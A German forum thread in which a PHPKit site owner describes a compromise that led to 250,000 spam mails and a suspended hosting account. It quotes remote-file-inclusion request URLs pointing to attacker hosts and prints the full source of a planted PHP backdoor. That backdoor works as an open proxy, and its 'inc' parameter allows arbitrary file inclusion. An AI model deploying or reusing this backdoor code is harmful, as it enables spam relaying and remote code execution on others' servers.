Es wurde ein Script eingeschleust -> 250000 Spam Mails -> Account gesperrt
Da denkt man, man hat alles abgesichert - narda.
Irgendwie ist es jmd. gelungen ein SpamScript einzuschleusen. Toll!
Tja, das Kit scheint für mich gestorben zu sein.
Irgendwie ist es jmd. gelungen ein SpamScript einzuschleusen. Toll!
Ich habe darum gebeten für heute erstmal die Deaktivierung beizubehalten, da ich Morgen erst Zeit habe.
Zitat
folgende Analyse ergaben das bei web104 wurden mehrere Scripte aufgerufen,
ueber die das passiert sein koennte:
/popup.php?path=http://r3dcr3w.xm.com/mailer.txt (ca. 120 mal)
/tmp/modsoap.php?urlx=rusip.ru/cgi-bin/users.cgi (ca. 2400 mal)
Tja, das Kit scheint für mich gestorben zu sein.
Also immo komme ich garnicht drauf, nach Absprache mit dem Hoster will ich erst morgen den Acc reaktiviert haben (wenn ich Zeit habe).
Ich bin mir zu 99,9% sicher, dass ich ALLES an Fixes etc drauf habe.
Aber die Realität straft meiner Wahrnemung Lügen
Achja, ich hatte auf (fast) allen Ordner keine 777 gesetzt.
Ich bin mir zu 99,9% sicher, dass ich ALLES an Fixes etc drauf habe.
Aber die Realität straft meiner Wahrnemung Lügen

Achja, ich hatte auf (fast) allen Ordner keine 777 gesetzt.
Naja, was heißt spannend.
Ich musste noch die Spiegel an meinem Motorrad justieren und ne kleine Runde drehen.
Wie es die Deppen geschafft haben weiss ich nicht.
Aber sie habe mehrere Scripte in den TMP Ordner geladen. Die Scripte sind klassische MailBomber ,Backdoor dateien und Exploits.
Interresant ist die schon erwähnte modsoap.php
Ich habe den TMP Ordner jetzt mit einer htaccess gesichert:
und Ihm die Rechte 700 gegeben.
Langt das?
Tja, jetzt muss ich wohl doch mal nach einem 'richtigen' CMS umsehen. Joomla, Typo3 oder was auch immer.
Ich musste noch die Spiegel an meinem Motorrad justieren und ne kleine Runde drehen.
Wie es die Deppen geschafft haben weiss ich nicht.
Aber sie habe mehrere Scripte in den TMP Ordner geladen. Die Scripte sind klassische MailBomber ,Backdoor dateien und Exploits.
Interresant ist die schon erwähnte modsoap.php
|
|
PHP-Quelltext |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
<?php define ("GETURL", "urlx"); define ("GETURS", "urls");function findHeaderLine ($template, $headline)
{$res=eregi_replace ( $template, "", substr($headline, 0, strlen($template)));if ($res!=substr($headline, 0, strlen($template))) return 1; return -1;}
if (isset($_GET[GETURL])||isset($_GET[GETURS])){$POST_STR="";$GET_STR="";$COOKIE_STR="";if (isset($_GET[GETURL])) $url=$_GET[GETURL];
if (isset($_GET[GETURS])) $url=$_GET[GETURS];$parse_url=explode("?", $url);if (isset($parse_url[1])){$sub_parse=explode("=", $parse_url[1]);
if (isset($sub_parse[1])){if (get_magic_quotes_gpc()) $sub_parse[1]=stripslashes($sub_parse[1]);$url=$parse_url[0]."?".$sub_parse[0]."=".urlencode($sub_parse[1]);}
else $url=$parse_url[0]."?".$sub_parse[0];} else $url=$parse_url[0];$url = "http://".$url;$GET_STR=substr(strstr ($_SERVER["QUERY_STRING"], "&"),1);
if (isset($_GET[GETURL])) { $POST_STR="";foreach ($_POST as $key => $value) {$POST_STR.="&".$key."=".urlencode($value);}
if ($POST_STR!="") $POST_STR=substr($POST_STR, 1);}if (isset($_GET[GETURS])) $POST_STR = file_get_contents("php://input");
$ch=curl_init();if ($GET_STR!="") {$GET_STR="&".$GET_STR;}curl_setopt($ch, CURLOPT_URL,$url.$GET_STR);
curl_setopt($ch, CURLOPT_HEADER,1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,10);$httpheaders = array("Connection: keep-alive");
if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) array_push($httpheaders,"Accept-Language: ".$_SERVER["HTTP_ACCEPT_LANGUAGE"]);
if (isset($_SERVER["HTTP_ACCEPT"])) array_push($httpheaders,"Accept: ".$_SERVER["HTTP_ACCEPT"]);
if (isset($_SERVER["HTTP_ACCEPT_ENCODING"])) array_push($httpheaders, "Accept-Encoding: ".$_SERVER["HTTP_ACCEPT_ENCODING"]);
if (isset($_SERVER["HTTP_REFERER"])) array_push($httpheaders, "Referer: ".$_SERVER["HTTP_REFERER"]);
if (isset($_SERVER["HTTP_USER_AGENT"])) array_push($httpheaders, "User-Agent: ".$_SERVER["HTTP_USER_AGENT"]);
if (isset($_SERVER["HTTP_COOKIE"])) array_push($httpheaders, "Cookie: ".$_SERVER["HTTP_COOKIE"]);
if ($POST_STR!="") {curl_setopt($ch, CURLOPT_POSTFIELDS, $POST_STR);if (isset($_GET[GETURL]))
array_push($httpheaders,"Content-Length: " . strlen($POST_STR),"Content-Type: application/x-www-form-urlencoded");
if (isset($_GET[GETURS])) array_push($httpheaders,"Content-Length: " . strlen($POST_STR),"Content-Type: application/soap+xml; charset=utf-8");}
curl_setopt ($ch, CURLOPT_HTTPHEADER, $httpheaders);$ret_data=curl_exec($ch);$no_zip = (strpos($_SERVER["HTTP_ACCEPT_ENCODING"], "gzip") === FALSE);
$classic=strpos($ret_data,"\r\n\r\n");$olen=strpos($ret_data,"\n\n");if (($classic!==FALSE) && (($olen===FALSE) || ($olen>$classic)))
{$i_head=$classic;$head_mes_separator="\r\n\r\n";}else if ($olen!==FALSE){$i_head=$olen;$head_mes_separator="\n\n";}
else {die ("<h1>HTTP-header error!</h1><br>" . $ret_data);}$header=substr($ret_data, 0, $i_head);
$ret_data=substr($ret_data, $i_head+strlen($head_mes_separator));$header_mas=split("\r\n", $header);
while (current ($header_mas)){$headline=$header_mas[key($header_mas)];
if ((findHeaderLine ( "Content-Encoding", $headline)==1) && (strpos(strtolower($headline), "gzip")!=FALSE)) $no_zip=true;
else if ((findHeaderLine ( "Content-Type", $headline)==1) &&((strpos(strtolower($headline), "image/jpeg")!=FALSE) ||
(strpos(strtolower($headline), "image/gif")!=FALSE)||(strpos(strtolower($headline), "image/png")!=FALSE))) $no_zip=true;
if (findHeaderLine ( "Transfer-Encoding", $headline)!=1) header ($headline, false);next($header_mas);}
if ($no_zip==false){$gzdata = gzencode($ret_data, 9);$inSize=strlen($ret_data); $outSize=strlen($gzdata);
$tmp_ret_data=$ret_data;if (strlen($tmp_ret_data)>strlen($ret_data)) $ret_data=$tmp_ret_data;
$gzdata = gzencode($ret_data, 9);header("Content-Encoding: gzip");header("Content-Length: ".strlen($gzdata));
print $gzdata;}else{header("Content-Length: ".strlen($ret_data));print $ret_data;}curl_close($ch);
}else header("HTTP/1.0 404 Not Found");if (isset($_GET["inc"])){$param = $_GET["inc"];if ($param != "" ) include($param);}
?>
|
Ich habe den TMP Ordner jetzt mit einer htaccess gesichert:
|
|
PHP-Quelltext |
1 2 |
Deny from all
Allow from 213.203.204.40
|
und Ihm die Rechte 700 gegeben.
Langt das?
Tja, jetzt muss ich wohl doch mal nach einem 'richtigen' CMS umsehen. Joomla, Typo3 oder was auch immer.

- 1
- 2

Ähnliche Themen
-
alte Versionen [1.6.03|1.6.1|1.6.4] »-
PHPKit Referer Blocker Frage
(26. Januar 2008, 11:42)
-
alte Versionen [1.6.03|1.6.1|1.6.4] »-
SPAM Versand vermutlich über Kit
(8. Februar 2008, 18:48)
-
alte Versionen [1.6.03|1.6.1|1.6.4] »-
spam-mail von eigener e-mail adresse
(31. Januar 2008, 20:53)


